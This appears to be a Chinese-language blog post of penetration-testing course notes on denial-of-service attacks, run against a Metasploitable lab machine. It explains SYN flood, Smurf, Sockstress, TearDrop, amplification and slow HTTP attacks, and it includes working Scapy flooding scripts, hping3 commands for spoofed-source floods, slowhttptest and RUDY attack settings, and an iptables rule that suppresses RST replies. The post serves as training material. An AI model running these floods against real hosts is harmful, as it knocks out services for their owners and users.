Kali Linux滲透測試——拒絕服務

筆記內容參考安全牛課堂苑房弘老師的Kali Linux滲透測試教程

一、基本概念

拒絕服務攻擊指針對網絡協議、應用的缺陷或直接耗盡被攻擊對象的資源,使得目標計算機或網絡無法提供正常的服務或資源訪問,由於拒絕服務攻擊通常利用實際存在的殭屍機和IP對目標發起合法請求,因此難以防範。可以從源、手段、目標三個層次進行劃分:

  • 源:單一(DoS)、衆多(DDoS)
  • 手段:漏洞利用、資源消耗
  • 目標:崩潰系統、崩潰程序、寬帶資源上限、協議性能上限、應用性能上限、系統性能上限

二、攻擊實現

1.Syn-Flood

原理:

我們先複習下TCP在建立和斷開連接過程中,Client和Server的狀態變化,如下所示:

TCP建立連接過程狀態

圖1 TCP建立連接過程狀態

Syn-Flood向攻擊目標連續、大量發送SYN包,利用三次握手過程中SYN_RCVD -> ESTABLISHED的等待過程,通過佔滿TCP最大併發連接數實現拒絕服務攻擊,原理如下圖所示:

Syn-Flood攻擊原理

圖2 Syn-Flood攻擊原理

實現:

利用Scapy腳本發包,如下所示:

#!/usr/bin/python
# .*. coding: utf-8 .*.
from scapy.all import *
from random import randint
from thread import start_new_thread
from sys import argv
from time import sleep

if len(argv) != 4:
    print('usage: ./syn_flood.py [ip_address] [port] [threads]')
    print('eg: ./syn_flood.py 114.114.114.114 80 20')
    sys.exit()

ip_address = argv[1]
port = int(argv[2])
threads = int(argv[3])

print('Syn-Flood attack is running, press Ctrl+C to stop...')

def synflood(ip_address, port):
    while 1:
        rand_port = randint(1,65525)
        send(IP(dst = ip_address)/TCP(dport = port,sport = rand_port),verbose = 0)

for x in range(0,threads):
    start_new_thread(synflood, (ip_address, port))

while 1:
	sleep(1)

將Metasploitable當做靶機,對其發起Syn-Flood攻擊,然後通過top和netstat觀察系統資源消耗情況,剛開始發現靶機TCP併發連接數未增加,用Wireshark抓包發現系統自動回覆了RST,如下所示:

在這裏插入圖片描述
添加規則拒絕RST包出站:

iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 10.10.11.128 -j REJECT

成功攻擊後利用top命令查看靶機CPU性能,發現未受影響,但是TCP併發連接數已達上限256,此時正常TCP請求無法建立。

top監測
在這裏插入圖片描述
拒絕服務攻擊常伴隨地址欺騙,即僞造IP源(真正的攻擊目標),利用殭屍機回包給攻擊目標,從而以隱藏攻擊者身份。但注意目前ISP邊界路由器對進站和出站的源IP有所限制,會導致僞造IP包發送失敗。

2.Smurf

原理:

十分原始的DDoS攻擊技術,工作在鏈路層(局域網),向廣播地址發送僞造源地址的ICMP echo Request(ping)包,使得局域網內主機都會向發送ping包的源地址發Reply包,從而使其遭受DDoS攻擊。

現代操作系統大多已不再響應目標爲廣播地址的ping包,因此這種攻擊方法已幾乎失效。

實現:

利用Scapy腳本發包,如下所示:

#!/usr/bin/python
# .*. coding: utf-8 .*.
from scapy.all import *
send(IP(dst="10.10.11.255",src="10.10.11.128")/ICMP(),count=100,verbose=1)

攻擊後發現只有網關設備會迴應廣播的ping包,Wireshark抓包如下:
在這裏插入圖片描述

3.Sockstress

原理:

利用TCP建立連接三步握手過程中的最後Client回覆的ACK,其中window爲協商的接收窗口大小,將其設置爲0,使得Server誤以爲Client接收窗口已滿,以等待數據發送,這樣使得攻擊目標大量Socket保持ESTABLISHED狀態,會消耗攻擊目標大量的系統資源。

Sockstress是一種非常有效的DoS攻擊方式,單機發起異步攻擊,可以使得高配置服務器拒絕服務。最有效的防禦方法是採用白名單,但是應用起來不實際,折中對策是限制單位時間內每個IP地址的TCP連接數,但這又對DDoS失效。

實現:

利用Scapy腳本發包,如下所示:

#!/usr/bin/python
# .*. coding: utf-8 .*.
from scapy.all import *
from random import randint
import sys,os,signal,thread,time

if len(sys.argv)!=4:
    print('usage: ./sockstress.py [ip_address] [port] [threads]')
    print('eg: ./sockstress.py 114.114.114.114 80 20')
    sys.exit()

ip_address = sys.argv[1]
port = int(sys.argv[2])
threads = int(sys.argv[3])

def sockstress(ip_address, port):
    while 1:
        try:
        	x = randint(0,65535)
        	response = sr1(IP(dst=ip_address)/TCP(dport=port, sport=x, flags='S'),timeout=3,verbose=0)
        	send(IP(dst=ip_address)/TCP(dport=port,sport=x,flags='A',ack=(response[TCP].seq+1),window=0),verbose=0)
        except:
        	pass

def shutdown(signal, frame):
	print('iptables recover...')
	os.system('iptables -D OUTPUT -p tcp --tcp-flags RST RST -d' + ip_address + ' -j DROP')
	sys.exit()

def start():
	print('iptables change...')
	print('Sockstress attack is running, press Ctrl+C to stop...')
	os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d' + ip_address + ' -j DROP')
	for x in range(0, threads):
		thread.start_new_thread(sockstress, (ip_address, port))

signal.signal(signal.SIGINT, shutdown)
start()
while 1:
	time.sleep(1)

利用腳本攻擊Metasploit2靶機80端口,攻擊後Wireshark抓包分析正常,netstat分析TCP連接80端口處於ESTABLISHED狀態最大280,但是靶機cpu性能並沒有受影響,攻擊無效,沒有查閱到相關解釋,困惑中。。。

在這裏插入圖片描述
相反運用C攻擊腳本https://github.com/defuse/sockstress可以很好實現DoS攻擊,雖然從top性能上分析沒有將CPU資源耗盡,但是實際上系統已拒絕提供服務,如ssh、apache均不能正常訪問。

git clone https://github.com/defuse/sockstress.git
cd sockstress
make

./sockstress 10.10.11.128:80 eth0 -p payloads/http

在這裏插入圖片描述

4.TearDrop

原理:

IP協議會將超過其最大傳輸載荷的數據分段傳輸,接收方利用數據段之間的IPID和數據偏移值進行拼接,TearDrop即利用IP分段之間數據偏移值重疊覆蓋,使得操作系統無法處理此類情況而發生藍屏、重啓、卡死等故障。

原理如下圖所示,假設數據段需要拆分爲兩個IP數據包進行傳輸,第一個IP包已經傳輸了1480字節數據,正常第二個IP數據包起始位置偏移量應爲1481,而TearDrop攻擊中偏移量變爲1000,這樣就導致接收方在拼接接收的兩個IP數據包時出現重疊部分,從而導致系統處理錯誤。

在這裏插入圖片描述

圖3 TearDop攻擊原理

但是這種攻擊方式僅針對早期Windows系統(95、98、3x等),這裏只分析原理作爲學習參考,實踐意義並不大。

5.Hping3

和Scapy一樣,幾乎可以定製發送任何TCP/IP數據包,命令行參數命令,使用更加方便。

  • SYN Flood
hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 10.10.11.128
  • ICMP Flood
hping3 -q -n -a 10.10.11.128 --icmp -d 100 --flood 10.10.11.100
# 10.10.11.100是PING包發往的地址
# 10.10.11.128是PING包中源地址,即攻擊目標
  • UDP Flood
hping3 -a 10.10.11.128 --udp -s 53 -d 100 -p 53 --flood 10.10.11.100
# 攻擊UDP 53端口(DNS)
# 10.10.11.100是PING包發往的地址
# 10.10.11.128是PING包中源地址,即攻擊目標
  • LAND

一種特殊種類的SYN Flood攻擊,源地址、目的地址都是攻擊目標,攻擊目標自己與自己完成TCP三次握手。

hping3 -n -a 10.10.11.128 -S -d 100 -p 80 --flood 10.10.11.128

6.放大攻擊

利用協議自身特性,結合IP源地址欺騙,以小流量請求產生大流量回包,利用大量正常工作的主機實現DDoS,適合於放大攻擊的協議包括DNS、SNMP、NTP等,這裏僅分析其攻擊實現原理。

(1)DNS放大攻擊

DNS服務端口爲UDP 53,攻擊原理:僞造源地址爲被攻擊目標地址,向遞歸域名查詢服務器發起查詢,使得DNS服務器成爲流量放大和實施攻擊者,大量DNS服務器實現DDoS。以dig命令爲例,dig ANY google.com @202.106.0.20命令發包數據107bytes,回包數據785bytes,回包流量照比發包放大了7倍。

(2)SNMP放大攻擊

SNMP服務端口爲UDP 161/162,其工作時由客戶端(管理站)向服務端(被管理設備)發起查詢請求,所有數據存儲在服務端的管理信息數據庫中(MIB),攻擊原理:僞造源地址爲被攻擊目標地址,向開啓了SNMP服務的設備發送查詢請求,使被攻擊目標遭受DDoS。

(3)NTP放大攻擊

NTP服務端口爲UDP 123,用於網絡設備時間同步,NTP提供monlist查詢功能,監控NTP服務器狀況,客戶端查詢時,NTP服務器返回最後同步時間的600個客戶端IP,流量放大約100倍,攻擊原理:僞造源地址爲被攻擊目標地址,向開啓了NTP服務且提供monlist查詢的設備發送查詢請求,使被攻擊目標遭受DDoS。

7.應用層DoS

與應用服務進行異常交互時,利用自身存在漏洞耗盡應用或系統的資源,使應用或系統拒絕服務,其中典型且高效的測試方法如慢速DoS攻擊:SlowHTTPTestRUDY

(1)SlowHTTPTest

  • 低帶寬應用層慢速DoS攻擊(源自Google)
  • 最早由Python編寫,跨平臺支持(Linux、Windows、OSX)
  • 尤其擅長攻擊Apache、Tomcat

原理:

Slowloris、Slow HTTP POST

  • 耗盡應用的併發連接池,類似於HTTP層的Syn-Flood
  • HTTP協議默認在服務器全部接收請求之後纔開始處理,若客戶端發送速度緩慢或不完整,則連接資源始終佔用,此類大量併發將導致DoS
  • Slowloris:完整的HTTP請求結尾是\r\n\r\n,在攻擊中只發送\r\n
  • Slow HTTP POST:HTTP頭content-length聲明比較大的長度,但是body部分緩慢發送

Slow Read Attack

  • 與Slowloris、Slow HTTP POST目的相同,都是耗盡應用的併發連接池
  • 不同之處在於其請求正常發送,但慢速讀取響應數據
  • 攻擊者調整TCP Window窗口大小,使服務器慢速返回數據

Apache Range Header Attack

  • 客戶端傳輸大文件時,體積超過HTTP Body大小限制時進行分段
  • 耗盡服務器CPU、內存資源

實現:

可以從GitHub上下載源碼git clone https://github.com/shekyan/slowhttptest.git,然後進入slowhttptest目錄運行:

./configure
make && make instal 

然後就可以運行命令,具體在man手冊裏,可參見EXAMPLES,下面用上述四種slowhttptest方法攻擊靶機metasploitable2上運行的Apache:

# Slowloris
slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u http://10.10.11.128 -x 24 -p 3

# Slow HTTP POST
slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://10.10.11.128 -x 10 -p 3

# Slow Read Attack
slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u http://10.10.11.128 -p 3

# Apache Range Header Attack
slowhttptest -R -u http://10.10.11.128 -t HEAD -c 1000 -a 10 -b 3000 -r 500

經過測試,Slowloris和Slow HTTP POST的攻擊效果最好,Slow Read Attack次之,Apache Range Header Attack則無法實現DoS。

另外除了上述下載源碼編譯後使用命令以外,還可以利用Docker拉取SlowHTTPTest鏡像,在新建的容器中使用命令:

# 安裝好docker後首先要拉取slowhttptest鏡像
docker pull shekyan/slowhttptest

# 然後直接在新建的容器中直接運行命令參數,以Slowloris攻擊爲例
docker run -it shekyan/slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u http://10.10.11.128 -x 24 -p 3

(2)RUDY

  • R-U-Dead-Yet,慢速應用層HTTP POST攻擊,類似SlowHTTPTest
  • 手段更絕,每次只傳輸一個字節的數據
  • 針對攻擊有表單的WEB頁面,攻擊時要指定攻擊的參數名稱

實現:

https://sourceforge.net/projects/r-u-dead-yet/獲取源碼,解壓後README中有詳細介紹,在rudeadyet.conf中配置好攻擊目標url以及表單提交的對象參數,以metasploitable2中dvwa登錄界面爲攻擊目標:

[parameters]

URL: http://10.10.11.128/dvwa/login.php
number_of_connections: 500
attack_parameter: username
proxy_addr: ""
proxy_port: 0

然後運行./r-u-dead-yet-v2.2.py開始攻擊,效果還是比較好的。

(3)Siege

HTTP/HTTPS壓力測試工具,模擬多個用戶併發訪問請求,可到GitHub下載https://github.com/JoeDog/siege.git或者直接apt install siege安裝。

siege -g http://10.10.11.128/dvwa/login.php
# 用HEAD|GET方法向-g指定url發送請求,獲取banner信息
 
siege -i -c 1000 http://10.10.11.128 -A http-agent
# -i:模擬Internet上用戶的正常請求
# -c:模擬多個用戶併發測試
# -A:user-agent頭內容
# 可以使用-f參數調用url字典文件,同時測試多個url
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章